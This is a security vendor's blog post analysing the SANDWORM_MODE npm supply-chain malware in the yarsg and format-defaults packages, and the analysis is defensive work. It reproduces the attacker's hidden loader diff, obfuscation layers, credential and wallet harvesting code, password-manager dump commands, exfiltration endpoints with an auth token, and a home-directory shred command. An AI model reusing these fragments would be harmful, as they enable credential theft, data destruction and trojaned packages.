npm SANDWORM_MODE Attack: Step-by-Step Malware Analysis

safedep
14 min read

Table of Contents

TL;DR

The SANDWORM_MODE software supply chain attack campaign published malicious packages to npm that use setImmediate based deferred execution, multi-layer base64+zlib+XOR obfuscation, and temp file droppers to deliver a bundled malicious payload. We started by analyzing the typosquatted [email protected] but hit a dead end. The attacker appears to have missed to include the malicious payload in the published package, suggesting the campaign may have been released prematurely. We then pivoted to [email protected] where the full dropper chain was available.

Socket Security discovered and published a detailed write-up on the SANDWORM_MODE supply chain attack with technical details, impacted package versions, and indicators of compromise (IOC). We took one of the malicious samples, [email protected], and performed a step-by-step analysis to understand the payload delivery mechanism. We then moved to [email protected] for a complete view of the multi-stage dropper chain.

Impact on Compromise

  • Credential theft: npm tokens, GitHub tokens, environment secrets, and git credential helper data exfiltrated
  • Crypto wallet drain: Private keys, mnemonics, and wallet files (ETH, SOL, BTC) stolen
  • Password manager exfiltration: Bitwarden, 1Password, and LastPass vaults searched for credentials
  • Local data harvesting: Apple Notes, macOS Messages, and Joplin SQLite databases scanned for keys and secrets
  • Worm propagation: Stolen npm tokens used to publish additional malicious packages, cascading the attack
  • AI toolchain hijack: Malicious MCP server deployed to intercept Claude Code, Cursor, and Copilot sessions

Capturing the Samples

Our analysis systems captured the samples before they were removed from the npm registry. For this analysis, we start with [email protected]. The intentional typo in yarsg is a classic typosquat targeting the popular npm package yargs.

[email protected]

> shasum yarsg-18.0.1.tar.gz
00cd947d484d8aa11dd5dea58c67e09d4fc7d25a yarsg-18.0.1.tar.gz

Given that this is a typosquat, we expected the malicious package to contain code from the original [email protected]. To confirm, we fetched the original from npm.

[...]
dist
.tarball: https://registry.npmjs.org/yargs/-/yargs-18.0.0.tgz
.shasum: 6c84259806273a746b09f579087b68a3c2d25bd1
.integrity: sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==
.unpackedSize: 231.4 kB
[...]

A diff of files between the malicious [email protected] and the original [email protected]:

25c25
< 268 ./index.mjs
---
> 183 ./index.mjs
57c57
< 2704 ./package.json
---
> 1991 ./package.json

Only two files changed:

  1. package.json: removes devDependencies and the prepare script
  2. index.mjs: replaces the original entry point with a deferred loader for malicious code

The package.json diff confirms the typosquat. Name changed from yargs to yarsg, version bumped to 18.0.1, everything else left intact to appear legitimate.

--- yargs-18-0-0-package/package.json 1985-10-26 13:45:00
+++ yarsg-18-0-1-package/package.json 1985-10-26 13:45:00
@@ -1,6 +1,6 @@
{
- "name": "yargs",
- "version": "18.0.0",
+ "name": "yarsg",
+ "version": "18.0.1",
"description": "yargs the modern, pirate-themed, successor to optimist.",
"main": "./index.mjs",
"exports": {
@@ -42,30 +42,6 @@
"y18n": "^5.0.5",
"yargs-parser": "^22.0.0"
},
- "devDependencies": {
- "@babel/eslint-parser": "^7.26.10",
- "@babel/preset-typescript": "^7.26.0",
- [...]
- "yargs-test-extends": "^1.0.1"
- },
"scripts": {
"fix": "gts fix && npm run fix:js",
"fix:js": "eslint . --ext mjs --ext js --fix",
@@ -73,7 +49,6 @@
"test": "c8 mocha --enable-source-maps ./test/*.mjs --require ./test/before.mjs --timeout=24000 --check-leaks",
"test:esm": "c8 mocha --enable-source-maps ./test/esm/*.mjs --check-leaks",
"coverage": "c8 report --check-coverage",
- "prepare": "npm run compile",
"pretest": "npm run compile -- -p tsconfig.test.json",
"compile": "rimraf build && tsc",
"check": "gts lint && npm run check:js",
@@ -100,4 +75,4 @@
"engines": {
"node": "^20.19.0 || ^22.12.0 || >=23"
}
-}
+}
\ No newline at end of file

The index.mjs change is where the attack lives:

> diff -u yargs-18-0-0-package/index.mjs yarsg-18-0-1-package/index.mjs
--- yargs-18-0-0-package/index.mjs 1985-10-26 13:45:00
+++ yarsg-18-0-1-package/index.mjs 1985-10-26 13:45:00
@@ -1,10 +1,6 @@
'use strict';
-
-// Bootstraps yargs for ESM:
-import esmPlatformShim from './lib/platform-shims/esm.mjs';
-import {YargsFactory} from './build/lib/yargs-factory.js';
-
-const Yargs = YargsFactory(esmPlatformShim);
-export default Yargs;
-
-export {Yargs as 'module.exports'};
+var _d = ['.cache','manifest.cjs'];
+setImmediate(function() {
+ try { require('./' + _d.join('/')); } catch(_) {}
+});
+module.exports = require('./index.unbundled.mjs');

The modified entry point references two files:

  1. ./.cache/manifest.cjs: the malicious payload, loaded via setImmediate to defer execution
  2. ./index.unbundled.mjs: presumably the original index.mjs from [email protected], re-exported to maintain functionality

Neither file existed in the published package. Two possible explanations:

  1. The attacker forgot to include these files in the files array in package.json
  2. The attacker planned a multi-stage dependency chain where these files would be created by another package

We believe [1] is the most likely explanation. That said, our past experience taught us that attacker creativity has no bounds, which is why it is worth noting alternative possibilities.

Moving to [email protected]

With [email protected] missing its payload files, we moved to [email protected] from our dataset. We chose this sample because:

  1. It is among the malicious packages identified by Socket Security
  2. Our internal dataset shows it is a minimal, self-contained package that drops the payload directly
> shasum format-defaults-1.0.0.tar.gz
10d99c964f601f56fa21f0f05aeed872517b0e37 sample.tar.gz
❯ ls -alR
total 32
drwxr-xr-x 7 dev staff 224 21 Feb 10:08 .
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 ..
-rw-r--r--@ 1 dev staff 1643 26 Oct 1985 index.js
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 lib
-rw-r--r--@ 1 dev staff 1056 26 Oct 1985 LICENSE
-rw-r--r--@ 1 dev staff 719 26 Oct 1985 package.json
-rw-r--r--@ 1 dev staff 1358 26 Oct 1985 README.md
./lib:
total 368
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 .
drwxr-xr-x 7 dev staff 224 21 Feb 10:08 ..
-rw-r--r--@ 1 dev staff 180766 26 Oct 1985 defaults.js
-rw-r--r--@ 1 dev staff 738 26 Oct 1985 locales.js

The package.json sets index.js as the main entry point, executed on require('format-defaults').

Inspecting index.js reveals the same deferred execution pattern we saw in yarsg:

// [.. STRIPPED ... ]
var _exports = (module.exports = {
locales: locales,
// [.. STRIPPED ..]
configure: function (opts) {
// [.. STRIPPED ..]
try {
var _d = require('./lib/defaults');
if (_d && _d._apply) {
_d._apply(info, opts);
}
} catch (_) {}
},
// [..STRIPPED..]
});
// Auto-apply locale defaults on first require
setImmediate(function () {
try {
_exports.configure({});
} catch (_) {}
});

The setImmediate call asynchronously invokes _exports.configure, which loads ./lib/defaults.js containing the actual malicious payload. Error swallowing via catch(_) {} ensures silent failure if anything goes wrong.

Layer 1: base64 Fragments + zlib Inflate

The defaults.js contains encoded payload which is decoded and loaded by an embedded loader function.

Base64 Encoded Payload

Decoder and Loader

The defaults.js file contains a _catalog object with 44 base64 encoded string fragments (_loc_000 through _loc_043), disguised as “locale data”. The payload execution chain:

  1. Assembles ~180KB of base64 data from the _catalog fragments
  2. Decodes it using zlib.inflateSync(Buffer.from(raw, 'base64')) into executable JavaScript source
  3. Writes it to a random temp file: os.tmpdir() + '/.' + random + '.js' (dot-prefixed to be hidden)
  4. Executes it via require(_f)
  5. Deletes it immediately in a finally block via _fs.unlinkSync(_f)

To examine the decoded payload, we ran the analysis inside a Docker container.

docker run -it --rm -v $(pwd):/app node:24 bash

Note: All further analysis was done inside the container. The current directory was mounted inside and considered untrusted after analysis.

We modified defaults.js to log the decoded script instead of writing to /tmp and executing it. This was the shortest path to extracting the obfuscated malicious logic.

Modified defaults.js for extraction

Layer 2: zlib Inflate + XOR Cipher

Extracting the Layer 1 payload revealed another layer of obfuscation. The second stage uses similar base64+zlib decompression, but followed by a rotating 32-byte XOR key.

(function(){var _p=(function(){
var d="eNqMfHdU0+nWNQKCo6goWMaGOAIW4MLIoFKUJPQQAgQkPRSxMKPY6CCphBZIQhohCQERRxAxIF0UkWHoHSGEgNeZQREQU
ASG0fitEJxy7/uu7/3......"
d=require('zlib').inflateSync(Buffer.from(d,'base64')).toString('binary');
var k=[214,232,243,62,189,212,19,46,155,184,197,42,240,85,159,72,224,228,85,241,242,61,45,131,88,247,12,49,40,249,46,54];d=d.split('').map(function(c,i){return String.fromCharCode(c.charCodeAt(0)^k[i%k.length])}).join('');
return d;
})();(0,eval)(_p)})();

The XOR key is not printable ASCII. It is random binary material, not a passphrase. This step ensures the inflated output cannot be pattern matched by signature scanners. The decoded result is executed through indirect eval ((0, eval)(_p)), which forces execution in global scope.

We applied the same technique: modify the script to print the decoded output instead of executing it.

Layer 3 extraction

Layer 3: AES-256-GCM Encrypted Module

The Layer 2 extraction output is a webpack bundled JavaScript program. Inside it, an AES-256-GCM encrypted blob loads the most sensitive attack modules: propagation, exfiltration, git hook persistence, MCP injection, and the dead switch. The 32-byte decryption key is derived by XOR-ing two sets of four 8-byte buffers:

var e = [Buffer.from("e02136b6765a4d30","hex"), ...];
var t = [Buffer.from("43270f48a6a7025e","hex"), ...];
var s = Buffer.alloc(32);
for (var n = 0; n < 4; n++)
for (var o = 0; o < 8; o++)
s[8*n+o] = e[n][o] ^ t[n][o];

The split-key derivation ensures the actual AES key never appears as a single string in the source. The decrypted code is written to /dev/shm (Linux) or os.tmpdir(), loaded via require(), then immediately unlinked. The same write-execute-delete anti-forensics pattern used in every layer.

These AES-protected modules are also gated behind a 48-hour time delay (covered in Execution Timing below), meaning sandboxes that run packages for only minutes never reach this layer.

Each layer defeats a different class of detection: Layer 1 hides the payload from static string scanners, Layer 2 defeats pattern matching on the inflated output, and Layer 3 protects the most sensitive modules behind authenticated encryption with a time-gated trigger.

Execution Timing

The payload activates automatically on require('format-defaults'). No lifecycle scripts, no explicit function call needed. But it does not fire immediately in all environments.

In CI environments (detected via GITHUB_ACTIONS, GITLAB_CI, CIRCLECI, JENKINS_URL, BUILDKITE), the payload runs immediately. In local/developer environments, it delays execution by 5 to 30 seconds using a host-fingerprinted jitter:

const e =
5e3 +
(i.createHash('md5').update(`${r.hostname()}${r.userInfo().username}${__dirname}`).digest().readUInt32BE(4) % 25e3);
setTimeout(() => d().catch(() => {}), e).unref();

The .unref() ensures the timer does not keep the Node.js process alive, so the malware runs invisibly during normal process lifetime without preventing exit.

A secondary gate prevents the full attack from firing until ~48 hours after installation, using the package directory’s mtime plus a per-host jitter:

const t = n.statSync(e).mtimeMs;
const s =
i.createHash('md5').update(`${r.hostname()}${r.userInfo().username}`).digest().readUInt32BE(0) %
p.stage2.jitterRangeMs;
const c = t + p.stage2.baseDelayMs + s; // baseDelayMs = 172800000 (48h)
return Date.now() >= c;

This evades automated sandbox analysis, which typically runs packages for only minutes.

Payload Behavior

The final decrypted payload is a webpack bundled application that executes six phases sequentially.

Phase 1: Reconnaissance

The payload fingerprints the host system before doing anything else:

survey() {
return {
environment: e.isCi ? "ci" : "local",
ciProvider: e.provider,
runtime: { bunAvailable: !!t, nodeVersion: process.version, pid: process.pid },
system: s, // platform, arch, hostname, username, cpus, totalMem, uptime
};
}

It detects multiple CI providers including GitHub Actions, GitLab CI, CircleCI, Buildkite, AWS CodeBuild, Jenkins, Travis, and Azure DevOps.

Phase 2: Credential Harvesting

A comprehensive credential collector targeting five categories.

npm tokens from .npmrc files and environment variables:

npmrc: [
n.join(o.homedir(), ".npmrc"),
n.join(process.cwd(), ".npmrc"),
],

Extracts :_authToken=, :_auth= (base64 basic auth), and proxy credentials. Also reads NPM_TOKEN, NPM_CONFIG_TOKEN, NPM_AUTH_TOKEN from the environment.

GitHub tokens from multiple sources:

// Environment variables with known prefixes
tokenPrefixes: ['ghp_', 'gho_', 'github_pat_'];
// gh CLI config
n.readFileSync(a.harvest.github.cliConfig, 'utf-8').match(/oauth_token:\s*(.+)/g);
// Git credential helper
t('git credential fill', {
input: 'protocol=https\nhost=github.com\n\n',
env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },
});

Environment secrets by scanning all environment variables for keywords:

envKeywords: ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API'];

Cryptocurrency assets, the most extensive harvesting category:

configFiles: ["hardhat.config.js", "hardhat.config.ts", "foundry.toml",
".secret", ".env", ".env.local", ".env.production"],
keyPatterns: {
ethPrivateKey: "(?:0x)?[0-9a-fA-F]{64}",
mnemonic: "(?:[a-z]+\\s){11,24}[a-z]+",
solanaKey: "\\[\\s*\\d+(?:\\s*,\\s*\\d+){31,63}\\s*\\]",
bitcoinWif: "(?:5[1-9A-HJ-NP-Za-km-z]{50}|[KL][1-9A-HJ-NP-Za-km-z]{51})",
extendedPrivKey: "xprv[1-9A-HJ-NP-Za-km-z]{100,115}",
},

It reads Solana CLI wallet files at ~/.config/solana/id.json and scans the current working directory and all non-hidden directories under $HOME for config files containing private keys or mnemonics.

Password managers via their CLIs, if sessions are unlocked:

// Bitwarden: searches items by crypto-related terms
e(`bw list items --search ${JSON.stringify(o)}${n} 2>/dev/null`, ...)
// 1Password: lists items then fetches full details for matches
e(`op item get ${JSON.stringify(n.id)} --format json 2>/dev/null`, ...)
// LastPass: exports entire vault
e("lpass export 2>/dev/null", ...)

Search terms used across all three managers:

pmSearchTerms: [
'seed',
'mnemonic',
'wallet',
'crypto',
'private key',
'recovery',
'backup phrase',
'secret phrase',
'ledger',
'metamask',
'bitcoin',
'ethereum',
'xprv',
];

The malware also searches SQLite databases including Apple Notes, macOS Messages, and Joplin for cryptographic keys:

sqliteTargets: [
{
name: 'apple-notes',
path: '~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite',
query: "SELECT ZTITLE || ' ' || ZSNIPPET FROM ZICCLOUDSYNCINGOBJECT ...",
},
{
name: 'macos-messages',
path: '~/Library/Messages/chat.db',
query: 'SELECT text FROM message WHERE text IS NOT NULL AND length(text) > 20;',
},
{
name: 'joplin',
path: '~/Library/Application Support/joplin-desktop/database.sqlite',
query: "SELECT title || ' ' || body FROM notes WHERE body IS NOT NULL;",
},
];

Before proceeding to later phases, any discovered crypto keys are immediately exfiltrated to a dedicated drain endpoint.

drain: {
endpoint: "https://pkg-metrics.official334.workers.dev/drain",
authToken: "fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb",
}

Phase 3: Worm Propagation

This is the worm component, similar to the Shai-Hulud worms (a previous npm worm-style supply chain campaign observed in the wild) that we have analyzed in the past. The malware uses stolen npm and GitHub tokens to publish poisoned packages to the live npm registry:

propagation: {
maxPackages: 100,
delayMinMs: 30000, // 30 seconds between publishes
delayMaxMs: 300000, // 5 minutes
sortByDownloads: true,
skipScoped: false,
},
registry: { live: "https://registry.npmjs.org" }

Each infected developer’s tokens are used to publish further malicious packages, creating a cascading supply chain attack.

Phase 4: Git Hook Persistence

The malware scans for git repositories and installs malicious hooks:

gitHooks: {
enabled: true,
maxRepos: 50,
scanDepth: 4,
installPreCommit: true,
installPrePush: true,
setTemplate: true,
}

By setting a global git template, all future git init and git clone operations on the machine include the malicious hooks.

Phase 5: MCP Server Injection

The malware deploys a malicious Model Context Protocol server to hijack AI assisted development tools (Claude Code, Cursor, Copilot, etc.):

mcp: {
enabled: true,
_namePool: {
prefixes: ["dev","ts","node","npm","eslint","project","workspace","lint","pkg","build"],
functions: ["utils","indexer","analyzer","tools","helper","bridge","server","cache","graph",
"watcher","scanner","manager"],
dirPrefixes: [".dev",".node",".project",".ts",".workspace",".npm",".lint",".build",
".pkg",".cache"],
},
}

Server and directory names are randomized from these pools (e.g., eslint-analyzer in .node-cache), making detection by name impractical. The module also discovers local LLM installations and harvests LLM API keys.

Phase 6: Exfiltration

All harvested data is exfiltrated via three redundant channels.

HTTPS via direct POST to a Cloudflare Worker:

exfil: {
https: {
endpoint: "https://pkg-metrics.official334.workers.dev/exfil",
timeout: 8000,
},

GitHub by creating private repositories with stolen tokens, storing double base64-encoded data in innocuously named files:

github: {
repoNameLength: 18,
encoding: "double-base64",
private: true,
}

DNS via base32-encoded queries with DGA (domain generation algorithm) fallback:

dns: {
domain: "freefan.net",
secondaryDomains: ["fanfree.net"],
chunkSize: 63,
encoding: "base32",
dgaTlds: ["cc","io","xyz","top","pw","tk","ws","gg","ly","mx"],
}

The DGA seed is derived from a host specific HMAC:

e.createHmac('sha256', 'sw2025')
.update(`${o.hostname()}:${o.userInfo().username}:${o.platform()}:${o.arch()}`)
.digest('hex')
.slice(0, 16);

Dead Switch

The payload evaluates whether propagation and exfiltration both failed. If the dead switch triggers, a getDestructCommand() method is available:

// Linux
`find "${n.homedir()}" -type f -writable -user "${e}" -print0 | xargs -0 -r shred -uvz -n 1`
// Windows
`cipher /W:${n.homedir()}`;

Currently configured as disabled:

deadSwitch: { enabled: false, trigger: "both-fail" }

This is a data destruction capability: shredding all writable files in the user’s home directory, held in reserve.

Configuration Infrastructure

The payload exposes extensive runtime configuration using environment variables.

VariablePurpose
SANDWORM_DEBUGEnables console.log/console.error logging
SANDWORM_MODElive / ci / simulation mode
SANDWORM_EXFIL_ENDPOINTOverride exfil C2 endpoint
SANDWORM_DNS_DOMAINOverride DNS exfil domain
SANDWORM_DGA_SEEDOverride DGA seed
SANDWORM_DRAIN_ENDPOINTOverride crypto drain endpoint
SANDWORM_SKIP_MTIMEBypass the 48-hour stage 2 gate
SANDWORM_SKIP_DELAYBypass initial execution delay
SANDWORM_MAX_PACKAGESCap on worm propagation count
SANDWORM_CARRIER_NAMENamed carrier package for typosquat propagation

A disabled polymorphism module suggests planned future capability:

polymorph: {
enabled: false,
endpoint: "http://localhost:11434/api/generate",
model: "deepseek-coder:6.7b",
transformations: ["rename-vars", "rewrite-flow", "insert-decoy", "encode-strings"],
}

This would use a local LLM to rewrite the malware’s own code: variable renaming, control flow changes, decoy insertion, and string encoding, generating unique variants per infection.

Indicators of Compromise

Network Indicators

IndicatorValue
Exfil endpointhttps://pkg-metrics.official334.workers.dev/exfil
Drain endpointhttps://pkg-metrics.official334.workers.dev/drain
Drain auth tokenfa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb
DNS exfil domainfreefan.net
DNS secondary domainfanfree.net
DGA TLDscc, io, xyz, top, pw, tk, ws, gg, ly, mx
HMAC key for DGA seedsw2025

File System Indicators

IndicatorDescription
Temp files matching .<random>.js in $TMPDIR or /dev/shmWrite-execute-delete payload staging
Hidden directories matching .dev-*, .node-*, .project-* in $HOMEMCP server deployment
Modified .git/hooks/pre-commit and .git/hooks/pre-pushGit hook persistence
Modified global git template directoryPersistent hook installation for all new repos
Private GitHub repos with 18-char random namesExfiltration data stores

Shared Fingerprint with yarsg

Both format-defaults and the yarsg typosquat share the same deferred-silent-execution pattern:

setImmediate(function () {
try {
/* malicious require */
} catch (_) {}
});

The setImmediate decouples execution from module loading. The catch(_) {} with a throwaway variable ensures completely silent failure. This shared fingerprint suggests a common toolkit or author.

Conclusion

SANDWORM_MODE is not a novel technique. Deferred execution, multi-layer obfuscation, and write-execute-delete techniques are established patterns in npm supply chain attacks. What makes this campaign notable is the breadth of its payload. This includes credential harvesting across five categories, worm propagation using stolen tokens, git hook persistence, MCP server injection targeting AI developer tools, and three redundant exfiltration channels. The disabled dead switch and polymorphism module suggest this toolkit is still under active development.

The 48-hour time gate is particularly effective. Most automated analysis environments run packages for minutes, not days. By the time the full payload fires, the package has already passed initial screening.

Defending against this class of attack requires catching malicious packages before they enter your dependency tree. vet can scan your dependencies and flag packages exhibiting these patterns. pmg acts as a package manager guard, intercepting installs in real time before untrusted code reaches your environment.

  • npm
  • supply-chain
  • security
  • malware-analysis

Author

SafeDep Logo

safedep

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Agent Skills Threat Model

Agent Skills Threat Model

Discover critical security threats in Agent Skills - Anthropic's open format for AI agent capabilities. Learn about supply chain attacks, deferred code execution, prompt injection, and multiple...

SafeDep Team
Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App